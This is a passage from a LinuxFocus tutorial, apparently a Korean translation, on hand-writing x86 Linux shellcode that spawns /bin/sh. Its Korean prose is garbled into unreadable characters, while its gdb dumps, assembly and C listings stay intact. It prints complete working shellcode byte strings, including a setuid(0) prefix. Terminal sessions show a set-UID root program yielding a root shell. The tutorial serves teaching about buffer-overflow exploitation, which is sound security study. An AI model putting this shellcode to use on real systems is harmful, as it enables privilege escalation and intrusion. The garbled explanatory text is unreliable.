���ɾ��
�ּ�ó�� ���̴� ���� %edx
�� ä���. �� �ּҿ� �ִ� ������
�Ʒ� ������ ����Ͽ� ���ڿ��� ��Ÿ������:
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)���� �츮�� ���ڿ��� ��� �ִ��� �˾Ҵ�.����
execve()
�Լ���
_exit()
�Լ��� disassemble �ڵ带 ���캸��:
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quit���� Ŀ�� ȣ����
0x80
interrupt�� ���� �̷������.
execve()
�Լ���0x804d9d0
, _exit()
�Լ��� 0x804d99b
���� interrupt��û�� �̷������.
�̺κп��� �� �� �ִ� �߿��� ������ ���� system-call�� %eax
�ȿ�
�� ������ ����Ǵ� �������� Ư¡�� ������ �ִٴ� ���̴�.����
���� ����, execve()
�� 0x0B
��� ����,
_exit()
�� 0x01
�̶�� ����
������ ������ �� �� �ִ�.
�̷��� �Լ����� ������� ���ɾ���� �м��غ���, ���ڵ��� ��� ����Ǵ����� �� �� �ִ�:
execve()
�Լ��� ���� �μ��� �ʿ��ϴ�.(diag 4�� �����϶�.) :
%ebx
�� ������ ������ ǥ���� ���ڿ��� �ּҸ� ������ �ִ�.
�̱ۿ����� "/bin/sh
"�� ���Ѵ�.
(0x804d9b1 : mov 0x8(%ebp),%edi
��
0x804d9c9 : mov %edi,%ebx
������
�� ������ �����Ѵ�.) ;%ecx
�� ���ڵ��� �迭 �ּҸ� ������ �ִ�
(0x804d9c2 : mov 0xc(%ebp),%ecx
).
ù��° ���ڴ� ���α��� �̸��̾���ϸ�,�ٸ� ���� �ʿ����.
(�迭�� ���ڿ� "/bin/sh
"�� �ּҿ� NULL���������ε� ����ϴ�;
%edx
�� ���α��� �����ϱ� ���� ȯ���� ǥ���� �迭�� �ּҸ�
������ �ִ�(0x804d9c5 : mov 0x10(%ebp),%edx
).
�� �ۿ����� ���α��� �����ϰ��ϱ� ����, ȯ�漳���� ���� �ʾҴ�
(empty environment): NULL�����Ͱ� �� ������ ����� �����Ѵ�._exit()
�Լ��� ���μ����� ������, �װ��� �θ�(�Ϲ�������
shell)���� %ebx
�� ����� �����ڵ带 �����ش� ;�츮�� ���ڿ� "/bin/sh
"�� �� ���ڿ��� ����Ű�� ������, ����
NULL�����Ͱ� �ʿ��ϴ�(���ɿ� ���� �μ��� �ƹ��͵� ���� �ʾҰ�,
ȯ����� �������� �ʾұ� �����̴�.).�츮�� execve()
ȣ������ ������ ������ ǥ���� �� �� �ִ�. NULL �����Ͱ� �ڵ�����,
���ڿ�/bin/sh
�� �μ��� ���� �������� �迭�� �����,
%ebx
�� ���ڿ��� ����Ű��,%ecx
�� �迭
��ü��,%edx
�� �迭�� �ι�° ������ NULL�� ����Ű��
�϶�. �̰��� ������ ��Ÿ���� diag. 5�� ����.
vulnerable�� ���α��� shellcode�� �ִ� �Ϲ����� �����
shellcode�� ����ȭ�� ���ڿ��̳� ȯ�溯���� �����Ͽ�
���α� ����� ���α��� �μ��� �ִ� ���̴�.
�츮�� shellcode�� ��������� �̰��� ����ϱ� ���� �ʿ���
shellcode�� �ּҸ� �� �մ�. �̸��� �ᱹ, "/bin/sh
"
���ڿ��� �ּҸ� �˾ƾ� �Ѵٴ� ���̴�. �츮�� �� �ּҸ� ��� ����
�ణ�� ���Ӽ�(trick)�� �� �� �ִ�.
call
�������� subroutine(�Լ���� �����ϸ� �ȴ�.)��
ȣ������ ��,CPU�� ���ÿ� return address�� �����Ѵ�. �� address�� ����
�ۿ��� ���캻 �ٿ� ���� call
���� �ٷ� �ڸ� ������.
�Ϲ�������,�� �����ܰ迡���� stack�� ���¸� �����ϴ� ������ �Ͼ��
(push %ebp����
).���� subroutine�� ���� pop
������ ����Ѵٸ� return address�� ���� �� �ִ�.(pop
��
unstack������ �Ѵ�.) ����, ���ڿ��� �ּҸ� ������ "home made prolog"��
���ؼ� call
���ɾ� �ٷ� �ڿ� "/bin/sh
"���ڿ���
�����Ѵ�:
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
subroutine�� ������ �ִ� ���� �ƴϴ�. ������� execve()
�� ȣ���� �����ϸ� ���μ����� shell�� ��ü�� ���̸�, ȣ���� �����Ѵٸ�
_exit()
�� ���α��� �����ų ���̴�. %esi
��
"/bin/sh
"�� �ּҸ� �츮���� �˷��ش�. ������ ���� ���ڿ� �ڿ�
�� �ּҸ� �ֱ⸸ �ϸ� �ȴ�. �Ʒ� ������ ������ ù��° ��Ҵ� %esi
��
���� ������ �ִ�.(first item�� %esi+8
�� ��ġ�� �����ϸ�,
���⼭ 8�� /bin/sh
�� ���̿� null byte�� ��ģ ���̴�.)
�ι�° ��Ҵ�%esi+12
�� null address�� �����Ѵ�(32bit). �̰���
�ڵ�� ������ ����:
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
diagram 6�� �̸� ������ ǥ���� ���̴�:
�̷��� ������� strcpy()
�Լ����� ���ڿ���
�ٷ�� �Լ����� ���� �߰ߵȴ�. ������ ���α۸��� �߰���
�ڵ带 �����ϱ� ���ؼ�, shellcode�� ���ڿ�ó�� �����ؾ�
�Ѵ�. ���� ������ ���ڿ��� �����ϴ� �Լ����� null���ڸ�
�߰��ϸ� ��ٷ� ���縦 ����ٴ� �� �ִ�. ���� �츮��
���� �ڵ忡�� �̷��� null���ڰ� �־�� �ȵȴ�. ���
����� ����Ͽ� �̷��� null byte������ ���� �� �ִ�. ���� ���,
������ ���ɾ��
movl $0x00, 0x0c(%esi)�Ʒ��� ���ɾ�� ��ü�� �� �ִ�.
xorl %eax, %eax movl %eax, %0x0c(%esi)���� ���� null byte�� ����ϴ� ����� �����ְ� �ִ�. ���� � ���ɾ��� ��� hex������ ��ȯ���Ѻ��� �̷��� null byte�� �߰ߵȴ�. ���� ���,
_exit(0)
system-call�̳� �ٸ� �Լ������� �̷��� ������ ��Ÿ����.
%eax
�� 1�̶� ���� �ֱ� ���� _exit()���� ������ ���ɾ ����Ͽ���.
0x804d996 <_exit+6>: mov $0x1,%eax
�̰��� hex������ ��ȯ�ϸ� ������ ����:
b8 01 00 00 00 mov $0x1,%eax�츮�� ���� ���� ��Ȳ�� ���ؾ� �Ѵ�. �̸� �ذ��ϴ� ������δ�
%eax
��
0�̶� ���� �ְ����� �̰��� ������Ű�� ���� �ִ�.
�ݸ鿡 ���ڿ� "/bin/sh
"�� �ݵ�� null byte�� ������ �Ѵ�.
shellcode�ۼ��� �̷��� ���� �� ������, ���α��ȿ� �����ϴ� ����� ����
null byte�� ������ ���α�(final application)�� ��Ÿ���� ���� ���� �ִ�.
"/bin/sh
"�� null byte�� �ֱ����� ���� ����߿� �ϳ��� �Ʒ���
�Ұ��Ѵ�:
/* movb�� ���� �� byte�� �����δ�. */ /* �Ʒ��� ������ ���� ���ɰ� ����. */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
���� shellcode�� ����� ���� ��� �غ� ������.
�Ʒ��� �տ��� ����� ������� ������Ѽ� ����
shellcode4.c
�̴�:
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* /bin/sh �ּҸ� ��´�.*/ popl %esi /* �迭�� ù��° ����� �� �ּҸ� �ִ´�. */ movl %esi,0x8(%esi) /* �迭�� �ι�° ����� NULL�� �ִ´�. */ xorl %eax,%eax movl %eax,0xc(%esi) /* ���ڿ��� ���� null byte�� �ִ´�. */ movb %eax,0x7(%esi) /* execve() �Լ� */ movb $0xb,%al /* %ebx�ȿ� �����ų ���ڿ��� �ּҸ� �ִ´�. */ movl %esi, %ebx /* %ecx�ȿ� �迭�� �ִ´�. */ leal 0x8(%esi),%ecx /* %edx�ȿ� �迭�� ȯ���� �ִ´�. */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null�� �����ִ� �ڵ�*/ xorl %ebx,%ebx /* _exit() �Լ� : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4 shellcode4.c
"�������� �ڵ带 ������ �϶�.
(������: �̴�� �������ϸ� ������ ���ϰ� ������ ���� �ʴ´�.
subroutine_call�� ������ ���� �־��ָ� �̸� ���� �� �ִ�.
ex> jmp subroutine_call
-> jmp 0x1f
subroutine_call
-> call -0x24
).
"objdump --disassemble shellcode4
"������ �������ϳ���
null byte�� �������� ������ Ȯ�ν����� ���̴�:
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
��� ���ɾ�� ǥ�������� �ʾ�����, ���ڿ� "/bin/sh
"
(hex������ 2f 62 69 6e 2f 73 68 00
���� ǥ���ȴ�.)��
��� ����Ʈ�� ������ data�� 804831c�ּ� �ڿ��� �߰��� �� �ִ�.
80483c8�� �ִ� ���ڿ��� ���� ��Ÿ���� null���ڸ� �����ϰ�,
�ڵ��� ��� zero�� �������� �ʴ´�.
���� �� ���α��� ��Ʈ �غ���:
$ ./shellcode4 Segmentation fault (core dumped) $
��Ʈ ����� ����, �� ���α��� ���� �ڽ��� ����(shell�� �����Ű�� ��)��
����� �������� ���Ѵٴ� ���� �� �� �ִ�. ���DZ��� ���캸�� main()
�Լ��� ��ġ�ϴ� ���� read-only����(�̱��� ���� �տ��� ����� text
����
�� ���Ѵ�.)�̶�� ����� �� �� ���� ���̴�. shellcode���� �̿����� ������
�ٲ� �� ����. ��� �ϸ� �츮�� ���� shellcode�� ��Ʈ�� �� ������?
read-only������ ���ذ� �� �ִ� ������� shellcode�� data������
�ִ� ����� �ִ�. shellcode�� �������� �迭�� ��������.
��� �Ǵٸ� ����� ���Ͽ� shellcode�� �����ų �� �ִ�.
���þȿ��� shellcode�� ������ �ִ� �迭�� �ּҸ� �˾Ƴ���,
main()
�Լ��� return address�� �� �ּҸ� �ִ� ���̴�.
main()
�Լ��� linker�� ���� �߰��Ǵ� ��� �ڵ忡 ���� ȣ��Ǵ�
�⺻���� ��ƾ("standard" routine)���� ���� ����.
�Ʒ����������� ������ ó�� ��ġ���� �ΰ��� ���� �迭��ŭ��
������ ����� return address�� ������ �� �ִ�.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 �� ������ �ֻ���(top)�κ��� */ /* 2 words(8 bytes) offset ������ �� ���̴�. */ /* ù��° word�� ���������� ���� �����̸�, */ /* �ι�° word�� ����� %ebp(=sfp)�� �����̴�. */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
���� �츮 ���α��� ��Ʈ�غ���:
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
�츮�� ���� ���α� shellcode5
�� Set-UID root��
�����ϰ�, �����α��� ��������� �� root �������� �ٲ�°�
Ȯ���غ��� �ȴ�:
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
�� shellcode�� �ټ� �������̴�(����, ��byte�� �����̱� ������). �Ʒ��� ���α��� ���� ���ڸ�:
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }�� ���α��� ������ �ۿ��� ��õ�ߴ� ���ó��, ���μ����� ����UID���� �� effective UID�� �����Ͽ���. �̷� ���α������� shell�� ����� �� Ư���� ������ ���� �ʰ� ����ȴ�:
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $����,
seteuid(getuid())
������ �� ȿ������ ���å�� ���� ���Ѵ�.
�̴� ������ setuid(0)
�� ȣ���ϴ� ������ �ذ�Ǵµ�, setuid(0);
��
shellcode�� �պκп��� S-UID���α��� EUID�� ���� ���� 0����
�����ϴ� �Ͱ� ���� ȿ���� ���´�.
�� ���ɾ��� �ڵ�� ������ ����:
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";���� �ڵ带 ���� shellcode�� �����Ͽ� ����:
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }�̰��� ����� �����ϴ��� ��Ʈ �غ���.
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $������ �������� ������ ���� shellcode�� �Լ��� �����ϴ°��� �����ϴٴ� ���� �����ش�. ���� ���,
chroot()
�� ������ ���丮�� ���������� ���̶����,
socket�� ����Ͽ� remote shell�� ���� �ϵ��� �ִ�.
�̷��� shellcode�� ������ ���� ���Ǵ� ������ ���� shellcode�ȿ��� ��byte�� ���� ������ �°� ������� �Ѵٴ� �ǹ̸� �����ϰ� �ִ�:
eb XX |
<subroutine_call> |
XX = <subroutine_call>������ bytes�� |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = XX = �迭�� ù��° ������ġ(������ ������ �ּ�). �� offset�� ������ ���ɰ� '\0'�� ���Ե� ���̴�. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = �迭�� �ι�° ������ġ,���⼭�� NULL���� ���´�. |
88 46 XX |
movb %al,XX(%esi) |
XX = ���ڿ� ���� ���� '\0'�� ��ġ. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = �迭���� ù��° ���ڰ� �ִ� ���� offset�� %ecx ��
�ִ´�. |
8d 56 XX |
leal XX(%esi),%edx |
XX = �迭���� �ι�° ���ڰ� �ִ� ���� offset�� %edx ��
�ִ´�. |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
�� 4 bytes�� <subroutine>������ bytes�� ����� ���̴�. (little endian���� ������ ǥ���ȴ�.)<subroutine> |
�츮�� �̱��� ���� �뷫 40byte�����Ǵ� ���α��� �����, �̸� �̿��� root�������� �ܺθ��ɾ�(external command)�� �����ų �� �ִٴ� ���� �˰� �Ǿ���. ���� ������ ������ ���� ���� ������ �����߸� �� �ִ� ����� ���캸�Ҵ�. �� ����� ���ؼ��� �����ۿ��� �� �ڼ��� �ٷ� ���̴�....
|
Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-04-27, generated by lfparser version 2.13